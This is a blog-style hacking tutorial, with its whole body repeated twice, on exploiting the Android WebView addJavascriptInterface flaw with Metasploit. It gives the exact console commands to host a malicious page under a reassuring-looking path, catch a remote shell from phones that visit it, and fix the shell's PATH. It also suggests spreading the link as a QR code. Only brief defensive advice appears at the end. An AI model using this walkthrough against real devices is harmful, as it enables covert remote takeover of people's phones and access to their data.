HACKING ANDROID MOBILE (NEW TUTORIAL)---70 % DEVICES VULNERABLE
Around 70% of all Android devices in the field are subject to a Javascript exploit that could allow an attacker remote access to your phone by doing nothing more than surfing to a malicious page or scanning in a malicious QR Code.
Called the “Android WebView addJavascriptInterface Vulnerability”, it works when untrusted Javascript code is executed by a WebView on Android devices.
And here is the kicker, about 70% of Android devices (phones and tablets) are vulnerable to it!
This month Rapid7 added the exploit as a Metasploit Module, so let’s take a look at it using Kali Linux and Metasploit:
1. Run Metasploit from the Kali Menu, or type “msfconsole” at a terminal prompt.
2. Type, “use exploit /android/browser/webview_addjavascriptinterface”.
3. Then type, “show options” to see what needs to be set:
For the most part, you are good to go. You can turn on SSL if you want, change the port or host address if you want. But one variable I did change was URIPATH. By default it is random, so I changed it to something easier to type in.
“Security” sounded reassuring.
4. Enter, “set URIPATH Security”:
5. Finally, type “exploit”:
A server is started on the Kali system that hosts a webpage containing the exploit. A URL is provided including the URI path.
Now if a vulnerable Android device surfs to our Metasploit module, sitting at192.168.1.16:8080/Security in this demo, you get a remote session:
Now just connect to the session using “sessions -i 1”:
And that is it! You are connected to the Android device.
But on one Android Tablet that I tested, something didn’t seem right. It allowed me to run some Linux commands but not others. I could use “pwd” to see the current directory that I was in, and I could surf to other directories with “cd”, but the “ls” and other commands would not work:
Whenever I ran “ls”, to view the files in the directory, I would get a “<stdin>[2]: ls: not found” error.
A quick check of the path with “echo path” revealed that no path was set:
So I set it by typing, “export PATH=/system/bin:$PATH”:
Once the path was correctly set to point to the system files, “ls” and other commands worked without issue:
As you can see, I had a complete remote shell to the Android device.
All I had to do was visit a malicious page using the built in Browser and the exploit ran with no further warning or input from the Android device. To make matters worse, the URL could be printed as a QR Code so that once it is scanned, it automatically goes to the malicious page for true “click and pwn”.
So what can you do to protect yourself against this type of attack?
The exploit only works on versions of Android < 4.2. Which apparently is 70% of current devices…
Update your device to the latest version of Android (if it will update), check with your manufacturer for instructions.
Also, never scan in QR Codes from unknown sources.
But I did notice that one device I tested wasn’t 4.2, it was a 4.0 version – and it was not vulnerable. But I remembered that the Android Browser did have an update that I downloaded before testing.
Not sure if this will be true for all devices, again the best course of action would be to update to the latest OS version.
source; geekboy.co
Around 70% of all Android devices in the field are subject to a Javascript exploit that could allow an attacker remote access to your phone by doing nothing more than surfing to a malicious page or scanning in a malicious QR Code.
Called the “Android WebView addJavascriptInterface Vulnerability”, it works when untrusted Javascript code is executed by a WebView on Android devices.
And here is the kicker, about 70% of Android devices (phones and tablets) are vulnerable to it!
This month Rapid7 added the exploit as a Metasploit Module, so let’s take a look at it using Kali Linux and Metasploit:
1. Run Metasploit from the Kali Menu, or type “msfconsole” at a terminal prompt.
2. Type, “use exploit /android/browser/webview_addjavascriptinterface”.
3. Then type, “show options” to see what needs to be set:
For the most part, you are good to go. You can turn on SSL if you want, change the port or host address if you want. But one variable I did change was URIPATH. By default it is random, so I changed it to something easier to type in.
“Security” sounded reassuring.
4. Enter, “set URIPATH Security”:
5. Finally, type “exploit”:
A server is started on the Kali system that hosts a webpage containing the exploit. A URL is provided including the URI path.
Now if a vulnerable Android device surfs to our Metasploit module, sitting at192.168.1.16:8080/Security in this demo, you get a remote session:
Now just connect to the session using “sessions -i 1”:
And that is it! You are connected to the Android device.
But on one Android Tablet that I tested, something didn’t seem right. It allowed me to run some Linux commands but not others. I could use “pwd” to see the current directory that I was in, and I could surf to other directories with “cd”, but the “ls” and other commands would not work:
Whenever I ran “ls”, to view the files in the directory, I would get a “<stdin>[2]: ls: not found” error.
A quick check of the path with “echo path” revealed that no path was set:
So I set it by typing, “export PATH=/system/bin:$PATH”:
Once the path was correctly set to point to the system files, “ls” and other commands worked without issue:
As you can see, I had a complete remote shell to the Android device.
All I had to do was visit a malicious page using the built in Browser and the exploit ran with no further warning or input from the Android device. To make matters worse, the URL could be printed as a QR Code so that once it is scanned, it automatically goes to the malicious page for true “click and pwn”.
So what can you do to protect yourself against this type of attack?
The exploit only works on versions of Android < 4.2. Which apparently is 70% of current devices…
Update your device to the latest version of Android (if it will update), check with your manufacturer for instructions.
Also, never scan in QR Codes from unknown sources.
But I did notice that one device I tested wasn’t 4.2, it was a 4.0 version – and it was not vulnerable. But I remembered that the Android Browser did have an update that I downloaded before testing.
Not sure if this will be true for all devices, again the best course of action would be to update to the latest OS version.
source; geekboy.co
Comments
Post a Comment